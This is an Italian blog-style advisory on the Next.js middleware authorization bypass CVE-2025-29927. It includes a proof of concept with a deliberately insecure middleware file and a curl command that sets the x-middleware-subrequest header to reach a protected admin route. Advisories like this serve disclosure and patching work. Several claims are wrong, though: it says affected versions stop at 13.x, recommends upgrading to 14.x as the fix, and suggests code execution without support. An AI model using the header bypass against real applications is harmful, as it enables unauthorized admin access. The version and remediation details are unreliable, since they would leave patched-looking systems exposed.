Loading...

Next.js Middleware Exploit: CVE-2025-29927 Authorization Bypass

Il 2025 ha visto emergere una grave vulnerabilità in Next.js Middleware che consente l'aggiramento dell'autenticazione e potenzialmente l'esecuzione di codice arbitrario. Questa vulnerabilità, identificata come CVE-2025-29927, mette a rischio molte applicazioni web basate su Next.js.


Dettagli Tecnici

  • Vulnerabile: Next.js fino alla versione 13.x
  • Tipo: Authentication Bypass
  • Impatto: Critico
  • Autenticazione: Non richiesta
  • CVSS Score: 9.8

Descrizione

Il middleware di Next.js è progettato per proteggere le rotte sensibili, come quelle destinate agli amministratori, richiedendo un token di autenticazione valido (solitamente tramite un cookie). Tuttavia, l'header x-middleware-subrequest, che in teoria dovrebbe essere utilizzato per gestire sub-richieste interne, può essere manipolato da un attaccante per evitare l'esecuzione del middleware stesso. In questo modo, il controllo sul token di autenticazione viene aggirato, permettendo all'attaccante di accedere a risorse protette senza il permesso necessario.

Questa vulnerabilità è critica, in quanto consente a un attaccante di ottenere l'accesso non autorizzato a pagine sensibili dell'applicazione, come ad esempio le aree riservate agli amministratori, semplicemente manipolando l'header HTTP x-middleware-subrequest. L'attaccante non ha bisogno di conoscere il token di autenticazione valido, ma può bypassare completamente il controllo di accesso.

Proof of Concept (PoC)

Per testare la vulnerabilità, possiamo creare un server Next.js locale e sfruttare il bug con il seguente codice:

// Installazione di Next.js
npx create-next-app@latest vulnerable-nextjs
cd vulnerable-nextjs

// Creazione del middleware vulnerabile
nano middleware.js

Nel file middleware.js, aggiungiamo:

import { NextResponse } from 'next/server';

    export function middleware(request) {
      const token = request.cookies.get('auth_token');
      if (!token || token !== 'admin123') {
        return NextResponse.redirect(new URL('/login', request.url));
      }
      return NextResponse.next();
    }
    
    export const config = {
      matcher: ['/admin/:path*'],
    };

Avviamo il server npm:

npm run dev

Ora possiamo eseguire un curl per bypassare l'autenticazione:

curl -H "x-middleware-subrequest: 1" http://localhost:3000/admin

Se l'accesso alla sezione admin viene concesso, il server è vulnerabile.

Rimedi e Mitigazioni

  • Aggiornare Next.js alla versione più recente (14.x o successive)
  • Utilizzare regole di routing sicure
  • Implementare ulteriori controlli di accesso a livello di backend

Conclusioni

Questa vulnerabilità sottolinea l'importanza di verificare e testare le configurazioni di sicurezza nelle applicazioni Next.js. Ti consigliamo di effettuare una revisione della sicurezza del tuo codice e di applicare aggiornamenti tempestivi.

Hai bisogno di aiuto per proteggere la tua applicazione? Contattaci per un audit completo di sicurezza.